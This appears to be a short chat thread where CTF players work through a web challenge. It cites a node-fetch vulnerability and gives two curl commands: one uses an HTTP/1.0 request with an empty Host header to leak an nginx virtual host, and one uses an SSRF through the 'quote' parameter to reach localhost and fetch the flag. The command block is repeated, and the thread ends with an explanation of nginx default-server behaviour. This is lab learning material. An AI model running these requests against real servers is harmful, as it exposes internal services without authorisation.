[x1rx]

Let's solve together

[pop10189]

Vuln https://security.snyk.io/vuln/SNYK-JS-NODEFETCH-2342118

[x1rx]

1 - nginx http1.0 information leak
2 - ssrf

[test888]

What is the parameter to use?

[ent0xE]

#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'

[pop10189]

#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'

i dont understand the downgrading to expose the vhost, can you explain ?

---

#get vhost by downgrade to http1.0
curl http://$IP:$PORT/think --http1.0 -H 'Host:'

#get flag
curl http://$IP:$PORT/guardian?quote=http%3A%2F%2Flocalhost%3A1337%2Fthink -H 'Host: guardian.firstalleyontheleft.com'

i dont understand the downgrading to expose the vhost, can you explain ?

 Ohh nvm, now i understand In HTTP/1.0, the Host
header is optional. If the client does not send it, Nginx does not know which vhost to serve and will default to the first defined
server
block, which is: server_name alley.$SECRET_ALLEY